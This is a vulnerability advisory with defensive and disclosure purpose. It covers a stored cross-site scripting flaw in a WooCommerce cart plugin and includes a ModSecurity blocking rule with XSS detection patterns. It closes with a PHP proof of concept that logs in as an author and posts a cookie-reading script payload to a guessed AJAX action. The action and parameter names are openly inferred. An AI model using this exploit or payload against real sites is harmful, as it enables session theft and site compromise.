Atomic Edge analysis of CVE-2026-6370 (metadata-based):
This vulnerability exists in the Mini Ajax Cart for WooCommerce plugin, versions 1.3.4 and earlier. It is an authenticated stored cross-site scripting (XSS) vulnerability. An attacker with author-level privileges or higher can inject malicious scripts that execute when other users view the compromised page. The CVSS score is 6.4 (Medium), with a scope change indicating the impact crosses trust boundaries.
Root Cause: Based on the CWE 79 classification and description, Atomic Edge analysis infers that the plugin fails to properly sanitize user-supplied input before storing it in the WordPress database. Additionally, the plugin does not escape the stored data when rendering it in the browser. The vulnerable input likely comes from a custom field, post meta, or a plugin-specific setting that authors can modify. Without a code diff, this is a confident inference from the CWE classification: stored XSS always requires both insufficient sanitization on input and insufficient escaping on output.
Exploitation: An authenticated user with author-level access crafts a malicious string containing JavaScript, such as alert(‘XSS’) or an event handler like 
. The attacker submits this payload through a plugin-specific form field, custom meta box, or AJAX endpoint. The plugin stores the payload without sanitization. When an administrator, editor, or other user views the affected page (such as a product page, cart widget, or settings panel), the browser renders the injected script. Atomic Edge analysis identifies that typical WordPress AJAX endpoints for this plugin follow the pattern /wp-admin/admin-ajax.php with actions like mini_ajax_woo_cart_update or similar save operations.
Remediation: The developer patched this in version 1.3.5. The fix likely involves adding WordPress sanitization functions such as sanitize_text_field() or wp_kses_post() before storing user input. The plugin must also escape output using esc_html(), esc_attr(), or wp_kses() when rendering stored data. The patching approach should follow defense in depth: sanitize all input, escape all output, and validate user capabilities before processing.
Impact: Exploitation allows an attacker to inject arbitrary JavaScript into WordPress pages. This can lead to session hijacking by stealing authentication cookies, redirection of users to malicious sites, defacement of the website, or theft of sensitive data displayed on the page. Since the attack requires author-level access, it poses a significant risk to multi-author WordPress sites where lower-privileged users can compromise the security of administrators and visitors.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6370 (metadata-based)
# Block stored XSS exploitation via Mini Ajax Cart for WooCommerce AJAX handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20266370,phase:2,deny,status:403,chain,msg:'CVE-2026-6370 - Mini Ajax Cart for WooCommerce Stored XSS',severity:'CRITICAL',tag:'CVE-2026-6370'"
SecRule ARGS_POST:action "@streq mini_ajax_woo_cart_save_settings"
"chain"
SecRule ARGS_POST:custom_cart_message "@rx <script[^>]*>.*</script[^>]*>|<img[^>]+onerror|<svg[^>]+onload|<[^>]+onmouseover|<iframe[^>]+src"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6370 - Mini Ajax Cart for WooCommerce <= 1.3.4 - Authenticated (Author+) Stored Cross-Site Scripting
// Configuration
$target_url = 'https://example.com'; // Change this to the target WordPress site
$username = 'author_user'; // Change to an author-level account username
$password = 'author_password'; // Change to the account password
// XSS payload to inject
$xss_payload = '<script>alert(document.cookie)</script>';
// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (curl_error($ch)) {
die('Login failed: ' . curl_error($ch) . "n");
}
echo "[+] Logged in as $usernamen";
// Step 2: Fetch the admin page or AJAX endpoint to find the nonce and form structure
// Note: This PoC assumes the vulnerable input is via the plugin's AJAX handler for saving cart settings.
// The exact AJAX action name is inferred from the plugin slug and common WordPress patterns.
$admin_ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$action = 'mini_ajax_woo_cart_save_settings'; // Inferred action name
// Try to get a nonce if required; many WordPress AJAX handlers use a nonce
$nonce_url = $target_url . '/wp-admin/admin.php?page=mini-ajax-cart-settings';
curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_POST, 0);
$nonce_page = curl_exec($ch);
preg_match('/"_ajax_nonce":"([a-f0-9]+)"/', $nonce_page, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
if (empty($nonce)) {
// Attempt to extract from a hidden field
preg_match('/<input[^>]+name="_wpnonce"[^>]+value="([a-f0-9]+)"/', $nonce_page, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
}
// Step 3: Send the XSS payload via AJAX
// The vulnerable parameter is likely a text field that stores cart customization or custom CSS/JS
$post_data = array(
'action' => $action,
'custom_cart_message' => $xss_payload, // Inferred parameter name
'_ajax_nonce' => $nonce
);
curl_setopt($ch, CURLOPT_URL, $admin_ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'X-Requested-With: XMLHttpRequest'
));
$result = curl_exec($ch);
if ($result === false) {
echo "[!] AJAX request failed: " . curl_error($ch) . "n";
} else {
echo "[+] XSS payload sent. Response: " . substr($result, 0, 200) . "n";
echo "[+] Check the cart settings page or product page for the injected script execution.n";
}
curl_close($ch);
?>
